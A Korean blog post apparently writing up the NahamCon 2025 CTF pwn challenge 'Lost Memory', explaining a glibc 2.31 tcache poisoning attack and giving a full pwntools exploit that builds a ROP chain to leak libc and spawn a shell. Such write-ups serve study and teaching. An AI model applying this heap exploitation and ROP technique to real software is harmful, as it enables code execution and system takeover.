NahamCon 2025 CTF - Lost Memory

2025. 5. 30. 22:18·CTF/Solved
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

생략

2.2. 분석

glibc 2.31 heap 문제였다.

특별히 leak은 불가능하지만, 특정 주소값을 heap에 저장하는 기능이 있으며, No pie이다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

tcache poisonning

3.2. 공격 준비

2.31에서는 tcache는 존재하나 double free는 bk의 값만 변조되면 가능하기 때문에 쉽게 tcache poisonning이 가능하다.

아, tcache counter도 유의해야하긴 함. 

특별히 leak 할 방법이 없는데, stack에 있는 특정 주소 값을 heap에 옮길 수 있는 메뉴가 있다.

여기서 취약 함수의 ret이 가까이 있기에 여기로 heap을 할당하고, no pie이기에 main 함수의 puts 함수를 rop하여 leak하고 다시 main으로 돌아가 system 함수를 call 하면 된다.

 

4. exploit

from pwn import *

#debug = True
debug = False
path = './lost_memory'
elf = ELF(path)

if debug == True:
    io = process([path])#, env={"LD_PRELOAD":""})
    elf = ELF(path)
else:
    io = remote("challenge.nahamcon.com", 31216)

context.log_level = 'debug'

script ='''
'''

def hexmsg(name, val):
    info(f"{name} = {hex(val)}")

def alloc(size):
    io.sendlineafter(b'choice:\n',b'1')
    io.sendlineafter(b'like?\n',size)

def wrt(inp):
    io.sendlineafter(b'choice:\n',b'2')
    io.sendlineafter(b'write?\n',inp)

def sel(inp):
    io.sendlineafter(b'choice:\n',b'3')
    io.sendlineafter(b'9)\n',inp)

def free():
    io.sendlineafter(b'choice:\n',b'4')

def store():
    io.sendlineafter(b'choice:\n',b'5')

def main():
    #gdb.attach(io, script)

    alloc(b'200')
    sel(b'1')
    alloc(b'200')
    sel(b'0')
    free()
    sel(b'1')
    free()
    wrt(b'aaaaaaaaa')
    store()
    alloc(b'200')
    alloc(b'200')

    payload = b'c'*8*3 + p64(0x404300) + p64(0x40132e) + p64(0x404020) + p64(0x4010f0) #leak
    payload += p64(0x000000000040175c)
    wrt(payload)

    io.sendlineafter(b'choice:\n',b'6')
    io.recvline()
    leak = u64(io.recv(6).ljust(8,b'\x00'))
    base = leak - 0x84420
    system = base + 0x52290
    binsh = base + 0x1b45bd

    hexmsg('system',system)
    hexmsg('binsh',binsh)

    sel(b'0')
    alloc(b'200')
    sel(b'1')
    alloc(b'200')
    sel(b'0')
    free()
    sel(b'1')
    free()
    wrt(b'aaaaaaaaa')
    store()
    alloc(b'200')
    alloc(b'200')

    payload = b'x'*8*3 + p64(0x404300) + p64(0x40132e) + p64(binsh) + p64(0x40132f) + p64(system)

    wrt(payload)
    pause()
    io.sendlineafter(b'choice:\n',b'6')

    io.interactive()

    return

if __name__ == "__main__":
    main()
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'CTF > Solved' 카테고리의 다른 글

GPN CTF 2025 - no-nc  (1) 2025.06.22
GPN CTF 2025 - NASA  (0) 2025.06.22
BREAK THE SYNTAX CTF - HexDumper  (0) 2025.05.11
Dreamhack CTF Season 7 Round #9 (🚩Div1) - chain-lightning  (0) 2025.05.03
Hackappatoi CTF '23  (0) 2023.12.08
'CTF/Solved' 카테고리의 다른 글
  • GPN CTF 2025 - no-nc
  • GPN CTF 2025 - NASA
  • BREAK THE SYNTAX CTF - HexDumper
  • Dreamhack CTF Season 7 Round #9 (🚩Div1) - chain-lightning
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (513)
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (74)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • File Structure (6)
      • Wargame (320) N
        • pwn.college (34)
        • Dreamhack (154) N
        • pwnable.kr (15)
        • Lord of Sqlinjection (4)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (44)
        • Solved (42)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    dreamhack
    CANARY
    libc
    root
    phoenix
    cryptohack
    BOF
    tcache
    pwnable.kr
    vtable
    rop
    pwntools
    _IO_FILE
    hackerschool
    Me
    32bit
    la ctf
    exploit education
    Buffer Overflow
    64bit
    x64
    RTL
    docker
    FSB
    heap
    x86
    root-me
    lob
    ROOT ME
    Format String Bug
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
NahamCon 2025 CTF - Lost Memory
상단으로

티스토리툴바